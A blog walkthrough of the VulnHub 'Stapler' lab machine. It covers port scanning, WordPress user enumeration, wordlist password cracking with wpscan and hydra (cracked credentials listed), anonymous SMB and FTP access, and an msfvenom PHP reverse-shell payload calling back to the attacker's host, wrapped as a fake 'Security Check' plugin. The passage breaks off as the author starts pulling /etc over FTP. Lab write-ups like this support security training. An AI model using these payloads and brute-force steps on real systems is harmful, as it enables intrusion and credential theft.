---
layout: post
title: "Stapler"
date: 2019-04-15 00:34:01 +0000
author: Larry Brown
category: Walkthroughs
tags: [vulnhub, wordpress, wpscan, vsftpd, tftp, cron, suid]
---
Hostname: red.initech
IP Address: <IP_ADDRESS>
Information Gathering/Recon
The IP address is obtained via DHCP at boot. In my case, the IP is <IP_ADDRESS>.
Service Enumeration/Scanning
root@kali:~/Walkthroughs/stapler# nmap -Pn -sT -sV -A -oA stapler -p 1-65535 <IP_ADDRESS>
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-19 00:01 EDT
Nmap scan report for red.initech.homenet.dom (<IP_ADDRESS>)
Host is up (0.0029s latency).
Not shown: 65523 filtered ports
PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
| ftp-syst:
| STAT:
| FTP server status:
| Connected to <IP_ADDRESS>
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
| 256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
|_ 256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519)
53/tcp open domain dnsmasq 2.75
| dns-nsid:
|_ bind.version: dnsmasq-2.75
80/tcp open http PHP cli server 5.5 or later
|_http-title: 404 Not Found
123/tcp closed ntp
137/tcp closed netbios-ns
138/tcp closed netbios-dgm
139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp open doom?
| fingerprint-strings:
| NULL:
| message2.jpgUT
| QWux
| "DL[E
| #;3[
| \xf6
| u([r
| qYQq
| Y_?n2
| 3&M~{
| 9-a)T
| L}AJ
|_ .npy.9
3306/tcp open mysql MySQL 5.7.12-0ubuntu1
| mysql-info:
| Protocol: 10
| Version: 5.7.12-0ubuntu1
| Thread ID: 8
| Capabilities flags: 63487
| Some Capabilities: DontAllowDatabaseTableColumn, Support41Auth, IgnoreSigpipes, SupportsCompression, Speaks41ProtocolOld, ODBCClient, SupportsTransactions, IgnoreSpaceBeforeParenthesis, FoundRows, Speaks41ProtocolNew, ConnectWithDatabase, LongColumnFlag, InteractiveClient, SupportsLoadDataLocal, LongPassword, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
| Status: Autocommit
| Salt: k\x0E+
| U%\x1F>)Te\x7F8}\x04QD\x165
|_ Auth Plugin Name: 88
12380/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port666-TCP:V=7.70%I=7%D=4/19%Time=5CB94895%P=x86_64-pc-linux-gnu%r(NUL
SF:L,2D58,"PK\x03\x04\x14\0\x02\0\x08\0d\x80\xc3Hp\xdf\x15\x81\xaa,\0\0\x1
SF:52\0\0\x0c\0\x1c\0message2\.jpgUT\t\0\x03\+\x9cQWJ\x9cQWux\x0b\0\x01\x0
SF:4\xf5\x01\0\0\x04\x14\0\0\0\xadz\x0bT\x13\xe7\xbe\xefP\x94\x88\x88A@\xa
SF:2\x20\x19\xabUT\xc4T\x11\xa9\x102>\x8a\xd4RDK\x15\x85Jj\xa9\"DL\[E\xa2\
SF:x0c\x19\x140<\xc4\xb4\xb5\xca\xaen\x89\x8a\x8aV\x11\x91W\xc5H\x20\x0f\x
SF:b2\xf7\xb6\x88\n\x82@%\x99d\xb7\xc8#;3\[\r_\xcddr\x87\xbd\xcf9\xf7\xaeu
SF:\xeeY\xeb\xdc\xb3oX\xacY\xf92\xf3e\xfe\xdf\xff\xff\xff=2\x9f\xf3\x99\xd
SF:3\x08y}\xb8a\xe3\x06\xc8\xc5\x05\x82>`\xfe\x20\xa7\x05:\xb4y\xaf\xf8\xa
SF:0\xf8\xc0\^\xf1\x97sC\x97\xbd\x0b\xbd\xb7nc\xdc\xa4I\xd0\xc4\+j\xce\[\x
SF:87\xa0\xe5\x1b\xf7\xcc=,\xce\x9a\xbb\xeb\xeb\xdds\xbf\xde\xbd\xeb\x8b\x
SF:f4\xfdis\x0f\xeeM\?\xb0\xf4\x1f\xa3\xcceY\xfb\xbe\x98\x9b\xb6\xfb\xe0\x
SF:dc\]sS\xc5bQ\xfa\xee\xb7\xe7\xbc\x05AoA\x93\xfe9\xd3\x82\x7f\xcc\xe4\xd
SF:5\x1dx\xa2O\x0e\xdd\x994\x9c\xe7\xfe\x871\xb0N\xea\x1c\x80\xd63w\xf1\xa
SF:f\xbd&&q\xf9\x97'i\x85fL\x81\xe2\\\xf6\xb9\xba\xcc\x80\xde\x9a\xe1\xe2:
SF:\xc3\xc5\xa9\x85`\x08r\x99\xfc\xcf\x13\xa0\x7f{\xb9\xbc\xe5:i\xb2\x1bk\
SF:x8a\xfbT\x0f\xe6\x84\x06/\xe8-\x17W\xd7\xb7&\xb9N\x9e<\xb1\\\.\xb9\xcc\
SF:xe7\xd0\xa4\x19\x93\xbd\xdf\^\xbe\xd6\xcdg\xcb\.\xd6\xbc\xaf\|W\x1c\xfd
SF:\xf6\xe2\x94\xf9\xebj\xdbf~\xfc\x98x'\xf4\xf3\xaf\x8f\xb9O\xf5\xe3\xcc\
SF:x9a\xed\xbf`a\xd0\xa2\xc5KV\x86\xad\n\x7fou\xc4\xfa\xf7\xa37\xc4\|\xb0\
SF:xf1\xc3\x84O\xb6nK\xdc\xbe#\)\xf5\x8b\xdd{\xd2\xf6\xa6g\x1c8\x98u\(\[r\
SF:xf8H~A\xe1qYQq\xc9w\xa7\xbe\?}\xa6\xfc\x0f\?\x9c\xbdTy\xf9\xca\xd5\xaak
SF:\xd7\x7f\xbcSW\xdf\xd0\xd8\xf4\xd3\xddf\xb5F\xabk\xd7\xff\xe9\xcf\x7fy\
SF:xd2\xd5\xfd\xb4\xa7\xf7Y_\?n2\xff\xf5\xd7\xdf\x86\^\x0c\x8f\x90\x7f\x7f
SF:\xf9\xea\xb5m\x1c\xfc\xfef\"\.\x17\xc8\xf5\?B\xff\xbf\xc6\xc5,\x82\xcb\
SF:[\x93&\xb9NbM\xc4\xe5\xf2V\xf6\xc4\t3&M~{\xb9\x9b\xf7\xda-\xac\]_\xf9\x
SF:cc\[qt\x8a\xef\xbao/\xd6\xb6\xb9\xcf\x0f\xfd\x98\x98\xf9\xf9\xd7\x8f\xa
SF:7\xfa\xbd\xb3\x12_@N\x84\xf6\x8f\xc8\xfe{\x81\x1d\xfb\x1fE\xf6\x1f\x81\
SF:xfd\xef\xb8\xfa\xa1i\xae\.L\xf2\\g@\x08D\xbb\xbfp\xb5\xd4\xf4Ym\x0bI\x9
SF:6\x1e\xcb\x879-a\)T\x02\xc8\$\x14k\x08\xae\xfcZ\x90\xe6E\xcb<C\xcap\x8f
SF:\xd0\x8f\x9fu\x01\x8dvT\xf0'\x9b\xe4ST%\x9f5\x95\xab\rSWb\xecN\xfb&\xf4
SF:\xed\xe3v\x13O\xb73A#\xf0,\xd5\xc2\^\xe8\xfc\xc0\xa7\xaf\xab4\xcfC\xcd\
SF:x88\x8e}\xac\x15\xf6~\xc4R\x8e`wT\x96\xa8KT\x1cam\xdb\x99f\xfb\n\xbc\xb
SF:cL}AJ\xe5H\x912\x88\(O\0k\xc9\xa9\x1a\x93\xb8\x84\x8fdN\xbf\x17\xf5\xf0
SF:\.npy\.9\x04\xcf\x14\x1d\x89Rr9\xe4\xd2\xae\x91#\xfbOg\xed\xf6\x15\x04\
SF:xf6~\xf1\]V\xdcBGu\xeb\xaa=\x8e\xef\xa4HU\x1e\x8f\x9f\x9bI\xf4\xb6GTQ\x
SF:f3\xe9\xe5\x8e\x0b\x14L\xb2\xda\x92\x12\xf3\x95\xa2\x1c\xb3\x13\*P\x11\
SF:?\xfb\xf3\xda\xcaDfv\x89`\xa9\xe4k\xc4S\x0e\xd6P0");
MAC Address: 08:00:27:67:B9:50 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -5h20m02s, deviation: 34m38s, median: -5h00m02s
|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
| Computer name: red
| NetBIOS computer name: RED\x00
| Domain name: \x00
| FQDN: red
|_ System time: 2019-04-19T00:03:44+01:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-04-18 19:03:44
|_ start_date: N/A
TRACEROUTE
HOP RTT ADDRESS
1 2.87 ms red.initech.homenet.dom (<IP_ADDRESS>)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 164.07 seconds
Gaining Access
We detected lots of open ports and services and we were able to determine some software versions, including:
-
vsFTPd 3.0.3 - no known exploits
-
dnsmasq-2.75 - lots of DoS vulnerabilities
-
MySQL 5.7.12-0ubuntu1 - a possible Integer Overflow we could use, but is listed as DoS
-
Apache/2.4.18 - a Local Privilege Escalation vulnerability we might can use
-
Samba 4.3.9-Ubuntu - no known exploits
Let's take a look at the HTTP services on TCP port 80 and TCP port 12380.
The default page for the HTTP service on TCP port 80 returns a "404 Not Found" error. Scanning it with nikto produces the following:
root@kali:~/Walkthroughs/stapler# nikto -h http://<IP_ADDRESS>/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: <IP_ADDRESS>
+ Target Hostname: <IP_ADDRESS>
+ Target Port: 80
+ Start Time: 2019-04-19 00:40:21 (GMT-4)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OSVDB-3093: /.bashrc: User home dir was found with a shell rc file. This may reveal file and path information.
+ OSVDB-3093: /.profile: User home dir with a shell profile was found. May reveal directory information and system configuration.
+ ERROR: Error limit (20) reached for host, giving up. Last error: error reading HTTP response
+ Scan terminated: 20 error(s) and 5 item(s) reported on remote host
+ End Time: 2019-04-19 00:41:06 (GMT-4) (45 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Based on the existence of the .bashrc and .profile files, the document root for this service is likely a user's home directory.
The default page for the HTTP service on TCP port 12380 returns an interesting page that implies the service setup was incomplete. That's good for us. There are also some comments spread throughout the page with potential employees/usernames.
<!-- Credit: http://www.creative-tim.com/product/coming-sssoon-page -->
<!-- A message from the head of our HR department, Zoe, if you are looking at this, we want to hire you! -->
<!-- Change the image source '/images/default.jpg' with your favourite image. -->
<!-- You can change the black color for the filter with those colors: blue, green, red, orange -->
<!-- H1 can have 2 designs: "logo" and "logo cursive" -->
Scanning it with nikto produces the following:
root@kali:~/Walkthroughs/stapler# nikto -h http://<IP_ADDRESS>:12380
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: <IP_ADDRESS>
+ Target Hostname: <IP_ADDRESS>
+ Target Port: 12380
---------------------------------------------------------------------------
+ SSL Info: Subject: /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Initech/OU=Pam: I give up. no idea what to put<EMAIL_ADDRESS>Ciphers: ECDHE-RSA-AES256-GCM-SHA384
Issuer: /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Initech/OU=Pam: I give up. no idea what to put<EMAIL_ADDRESS>+ Start Time: 2019-04-19 00:44:25 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'dave' found, with contents: Soemthing doesn't look right here
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/admin112233/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/blogblog/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 2 entries which should be manually viewed.
+ Hostname '<IP_ADDRESS>' does not match certificate's names: Red.Initech
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: POST, OPTIONS, GET, HEAD
+ Uncommon header 'x-ob_mode' found, with contents: 1
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ 8071 requests: 0 error(s) and 15 item(s) reported on remote host
+ End Time: 2019-04-19 00:48:35 (GMT-4) (250 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Checking the directories in robots.txt, the /admin112233 gives us a cheeky warning and redirects us. The /blogblog directory, however, returns a WordPress site for INITECH. We also see a potential username ('pam') in the certificate information. Nikto also alerted us to a phpmyadmin site, which should be interesting. Let's start by digging into the WordPress site with wpscan.
root@kali:~/Walkthroughs/stapler# wpscan --disable-tls-checks --url https://<IP_ADDRESS>:12380/blogblog --wp-content-dir wp-content --enumerate
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.5.1
Sponsored by Sucuri - https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________
[+] URL: https://<IP_ADDRESS>:12380/blogblog/
[+] Started: Fri Apr 19 00:55:21 2019
Interesting Finding(s):
[+] https://<IP_ADDRESS>:12380/blogblog/
| Interesting Entries:
| - Server: Apache/2.4.18 (Ubuntu)
| - Dave: Soemthing doesn't look right here
| Found By: Headers (Passive Detection)
| Confidence: 100%
[...]
[+] https://<IP_ADDRESS>:12380/blogblog/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Registration is enabled: https://<IP_ADDRESS>:12380/blogblog/wp-login.php?action=register
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: https://<IP_ADDRESS>:12380/blogblog/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] https://<IP_ADDRESS>:12380/blogblog/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.2.1 identified (Insecure, released on 2015-04-27).
| Detected By: Rss Generator (Passive Detection)
| - https://<IP_ADDRESS>:12380/blogblog/?feed=rss2, <generator>http://wordpress.org/?v=4.2.1</generator>
| - https://<IP_ADDRESS>:12380/blogblog/?feed=comments-rss2, <generator>http://wordpress.org/?v=4.2.1</generator>
|
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <========================================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] John Smith
| Detected By: Author Posts - Display Name (Passive Detection)
| Confirmed By: Rss Generator (Passive Detection)
[+] elly
| Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] peter
| Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] barry
| Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] heather
| Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] john
| Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] garry
| Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] harry
| Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] scott
| Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] kathy
| Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] tim
| Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] Finished: Fri Apr 19 00:55:35 2019
[+] Requests Done: 3092
[+] Cached Requests: 10
[+] Data Sent: 719.641 KB
[+] Data Received: 822.122 KB
[+] Memory used: 188.211 MB
[+] Elapsed time: 00:00:13
I decided to use wpscan to try to crack some of the user's passwords. Based on the posts in the blog, it looks like 'john' might be the administrator, but we'll see which accounts we can get into and maybe we can elevate from there.
wpscan --disable-tls-checks --url https://<IP_ADDRESS>:12380/blogblog --wp-content-dir wp-content --usernames wordpress-users --passwords /usr/share/seclists/Passwords/Most-Popular-Letter-Passes.txt --output wpscan-password-attack --password-attack wp-login
We were able to crack the password for several of the accounts, but not 'john'. Tim seemed to be in charge of setting up the site, so let's start with looking at his account. (Also, TimThumb is a known vulnerable WordPress plugin).
[i] Valid Combinations Found:
| Username: scott, Password: cookie
| Username: kathy, Password: coolgirl
| Username: garry, Password: football
| Username: harry, Password: monkey
| Username: tim, Password: thumb
The only 'Tools' available for tim (and all the other accounts we cracked) is 'Press This'. This plugin has potential because it allows file uploads, but, alas, we don't have permission to upload files.
Let's see if any of the accounts we cracked can upload files... Nope!
We remember that one of the names mentioned in the default site's comments was 'Zoe', but that name didn't show up in our enumerated users. Let's try to login as 'zoe' and see if that is a valid account... and it is!
Abby, we need to link the folder somewhere! Hidden at the mo
I split out the accounts we hadn't cracked and added the new accounts we found ('zoe' and 'abby'). I decided to try a different dictionary, too.
wpscan --disable-tls-checks --url https://<IP_ADDRESS>:12380/blogblog --wp-content-dir wp-content --usernames wordpress-users2 --passwords /usr/share/seclists/Passwords/probable-v2-top12000.txt --output wpscan-password-attack2 --password-attack wp-login
This time we were able to crack John's account, which was the original goal. Let's try logging in as 'john' and see how things look.
[i] Valid Combinations Found:
| Username: heather, Password: passphrase
| Username: john, Password: incorrect
As we suspected, John is an admin! 😄 Now that we have admin access to the WordPress site, we should be able to create a malicious plugin and upload it.
We'll start by creating our PHP reverse shell using msfvenom.
root@kali:~/Walkthroughs/stapler# msfvenom -p php/reverse_php LHOST=<IP_ADDRESS> LPORT=5432 -f raw > rev.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 3034 bytes
To make it an acceptable plugin, we have to add some meta data to the top of the file.
<?php
/**
* Plugin Name: Security Check
* Version: 1.2
* Author: r00t Security
* Author URI: http://www.r00tsec.com
* License: GPL2
*/
@error_reporting(0);
[...]
Now we have to zip our file and upload it.
root@kali:~/Walkthroughs/stapler# zip secheck.zip rev.php
adding: rev.php (deflated 67%)
To upload, in WordPress...
-
Click Plugins in the menu on the left
-
Click the Add New button at the top of the page
-
Click the Upload Plugin button at the top of the page
-
Click the Choose File button and select the ZIP
-
Click Install Now
Oops! Looks like we have to have FTP credentials to upload our plugin. This is typically caused because the user running the web service (www-data, apache, etc) doesn't have permission to write to the plugins directory.
I tried brute forcing FTP credentials with the usernames we have from WordPress (using hydra), but get nothing.
I tried to edit a Theme to insert my own shell code. That didn't work. The themes are not editable.
I tried to use the Metasploit module to exploit the Authenticated Code Execution issue with WordPress, but it failed doing its base64 decode test.
use exploit/multi/http/wp_crop_rce
This WordPress site is starting to feel like a dead end. Let's see what other services we can poke at.
The server has SMB available. Let's run enum4linux to see what we can find out.
Looks like we found some shares we can look at.
=========================================
| Share Enumeration on <IP_ADDRESS> |
=========================================
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
kathy Disk Fred, What are we doing here?
tmp Disk All temporary files should be stored here
IPC$ IPC IPC Service (red server (Samba, Ubuntu))
[...]
[+] Attempting to map shares on <IP_ADDRESS>
//<IP_ADDRESS>/print$ Mapping: DENIED, Listing: N/A
//<IP_ADDRESS>/kathy Mapping: OK, Listing: OK
//<IP_ADDRESS>/tmp Mapping: OK, Listing: OK
//<IP_ADDRESS>/IPC$ [E] Can't understand response:
We also were able to get a list of users.
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\peter (Local User)
S-1-22-1-1001 Unix User\RNunemaker (Local User)
S-1-22-1-1002 Unix User\ETollefson (Local User)
S-1-22-1-1003 Unix User\DSwanger (Local User)
S-1-22-1-1004 Unix User\AParnell (Local User)
S-1-22-1-1005 Unix User\SHayslett (Local User)
S-1-22-1-1006 Unix User\MBassin (Local User)
S-1-22-1-1007 Unix User\JBare (Local User)
S-1-22-1-1008 Unix User\LSolum (Local User)
S-1-22-1-1009 Unix User\IChadwick (Local User)
S-1-22-1-1010 Unix User\MFrei (Local User)
S-1-22-1-1011 Unix User\SStroud (Local User)
S-1-22-1-1012 Unix User\CCeaser (Local User)
S-1-22-1-1013 Unix User\JKanode (Local User)
S-1-22-1-1014 Unix User\CJoo (Local User)
S-1-22-1-1015 Unix User\Eeth (Local User)
S-1-22-1-1016 Unix User\LSolum2 (Local User)
S-1-22-1-1017 Unix User\JLipps (Local User)
S-1-22-1-1018 Unix User\jamie (Local User)
S-1-22-1-1019 Unix User\Sam (Local User)
S-1-22-1-1020 Unix User\Drew (Local User)
S-1-22-1-1021 Unix User\jess (Local User)
S-1-22-1-1022 Unix User\SHAY (Local User)
S-1-22-1-1023 Unix User\Taylor (Local User)
S-1-22-1-1024 Unix User\mel (Local User)
S-1-22-1-1025 Unix User\kai (Local User)
S-1-22-1-1026 Unix User\zoe (Local User)
S-1-22-1-1027 Unix User\NATHAN (Local User)
S-1-22-1-1028 Unix User\www (Local User)
S-1-22-1-1029 Unix User\elly (Local User)
The first user listed, 'peter' is an administrator on the WordPress site. We see the user 'zoe' again as well. Elly was also a WordPress user.
Let's try to connect to the SMB shares and see what they contain. First, we'll connect to the kathy share (anonymously) using smbclient.
root@kali:~/Walkthroughs/stapler/smb# smbclient //<IP_ADDRESS>/kathy -U " "%" "
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Jun 3 12:52:52 2016
.. D 0 Mon Jun 6 17:39:56 2016
kathy_stuff D 0 Sun Jun 5 11:02:27 2016
backup D 0 Sun Jun 5 11:04:14 2016
19478204 blocks of size 1024. 16018012 blocks available
Let's check out the backup directory first. Backups are notorious for having sensitive information in them.
smb: \> cd backup
smb: \backup\> ls
. D 0 Sun Jun 5 11:04:14 2016
.. D 0 Fri Jun 3 12:52:52 2016
vsftpd.conf N 5961 Sun Jun 5 11:03:45 2016
wordpress-4.tar.gz N 6321767 Mon Apr 27 13:14:46 2015
19478204 blocks of size 1024. 16018012 blocks available
We see a backup of the FTP service configuration as well as a backup of the WordPress site. Let's download both so we can check them out.
smb: \backup\> get vsftpd.conf vsftpd.conf
getting file \backup\vsftpd.conf of size 5961 as vsftpd.conf (970.2 KiloBytes/sec) (average 831.6 KiloBytes/sec)
smb: \backup\> get wordpress-4.tar.gz wordpress-4.tar.gz
getting file \backup\wordpress-4.tar.gz of size 6321767 as wordpress-4.tar.gz (11224.7 KiloBytes/sec) (average 10966.7 KiloBytes/sec)
Let's also drop back and check out the kathy_stuff folder.
smb: \backup\> cd ..
smb: \> cd kathy_stuff
smb: \kathy_stuff\> ls
. D 0 Sun Jun 5 11:02:27 2016
.. D 0 Fri Jun 3 12:52:52 2016
todo-list.txt N 64 Sun Jun 5 11:02:27 2016
19478204 blocks of size 1024. 16018008 blocks available
smb: \kathy_stuff\> get todo-list.txt todo-list.txt
getting file \kathy_stuff\todo-list.txt of size 64 as todo-list.txt (6.9 KiloBytes/sec) (average 10794.6 KiloBytes/sec)
Before digging into the files we downloaded, let's check out the /tmp share as well.
root@kali:~/Walkthroughs/stapler/smb# smbclient //<IP_ADDRESS>/tmp -U " "%" "
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue Jun 7 04:08:39 2016
.. D 0 Mon Jun 6 17:39:56 2016
ls N 274 Sun Jun 5 11:32:58 2016
19478204 blocks of size 1024. 16018008 blocks available
The share only contains a single 'ls' file. Downloading and viewing the file contents, it appears to be a listing of the system's /tmp directory. Maybe this tmp share maps directly to the system's /tmp directory. With that in mind, I try to upload a file to the directory... and it works! Good to know.
smb: \> put tmp-ls my-tmp-ls
putting file tmp-ls as \my-tmp-ls (44.6 kb/s) (average 44.6 kb/s)
smb: \> ls
. D 0 Fri Apr 19 10:44:48 2019
.. D 0 Mon Jun 6 17:39:56 2016
my-tmp-ls A 274 Fri Apr 19 10:44:48 2019
ls N 274 Sun Jun 5 11:32:58 2016
19478204 blocks of size 1024. 16018004 blocks available
Now, let's dig into our downloaded files.
The wordpress-4.tar.gz looks like it only contains a clean download of WordPress. A wp-config.php file doesn't exist. 😞
Next, we'll take a look at vsftpd.conf.
root@kali:~/Walkthroughs/stapler/smb# cat vsftpd.conf | grep -v '^#' | grep -v '^$'
listen=YES
listen_ipv6=NO
anonymous_enable=YES
anon_root=/var/ftp/anonymous
local_enable=YES
dirmessage_enable=YES
use_localtime=YES
xferlog_enable=YES
connect_from_port_20=YES
banner_file=/etc/vsftpd.banner
chroot_local_user=YES
userlist_enable=YES
local_root=/etc
secure_chroot_dir=/var/run/vsftpd/empty
pam_service_name=vsftpd
rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
ssl_enable=NO
pasv_enable=no
The first thing we notice is that anonymous FTP access is allowed. We haven't even looked at the FTP service much (beyond trying to brute force passwords). Let's connect to it anonymously real quick and just see what is out there.
root@kali:~/Walkthroughs/stapler# ftp <IP_ADDRESS>
Connected to <IP_ADDRESS>.
220-
220-|-----------------------------------------------------------------------------------------|
220-| Harry, make sure to update the banner when you get a chance to show who has access here |
220-|-----------------------------------------------------------------------------------------|
220-
220
Name (<IP_ADDRESS>:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 107 Jun 03 2016 note
226 Directory send OK.
ftp> get note note
local: note remote: note
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note (107 bytes).
226 Transfer complete.
107 bytes received in 0.00 secs (30.9882 kB/s)
The only file available is 'note'. We downloaded that and it contains the following...
root@kali:~/Walkthroughs/stapler# cat note
Elly, make sure you update the payload information.
Elly and John were both WordPress users. So was Harry (referenced in the FTP banner).
From the note, it seems we can be pretty sure Elly is a valid FTP user. Also, everywhere we've seen Elly's account listed, it has just been her name, so we can feel pretty confident her FTP account username is just 'elly'. Let's try brute forcing the FTP service one more time to try to find her credentials.
We'll start by checking the obvious variations by using the '-e nsr' option. (try "n" null password, "s" login as pass and/or "r" reversed login)
root@kali:~/Walkthroughs/stapler# hydra -o ftp-crack -L wordpress-users -e nsr ftp://<IP_ADDRESS>
Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-04-19 18:18:22
[DATA] max 16 tasks per 1 server, overall 16 tasks, 30 login tries (l:10/p:3), ~2 tries per task
[DATA] attacking ftp://<IP_ADDRESS>:21/
[21][ftp] host: <IP_ADDRESS> login: elly password: ylle
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-04-19 18:18:29
Well, there you go. Didn't need a massive dictionary after all. Let's try to connect to the FTP service with Elly's credentials.
NOTE: We also verified these credentials work for Elly's account on the WordPress site.
root@kali:~/Walkthroughs/stapler# ftp <IP_ADDRESS>
Connected to <IP_ADDRESS>.
220-
220-|-----------------------------------------------------------------------------------------|
220-| Harry, make sure to update the banner when you get a chance to show who has access here |
220-|-----------------------------------------------------------------------------------------|
220-
220
Name (<IP_ADDRESS>:root): elly
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
Nice! The other thing that stood out in the vsftpd.conf file is that 'local_root' was set to /etc. That means we should be able to pull down all/most of the victim's configuration files. We might also be able to write to files. Let's check it out.
First, we'll try to download as much as we can with wget.
root@kali:~/Walkthroughs/stapler/etc# mkdir etc
root@kali:~/Walkthroughs/stapler/etc# cd etc
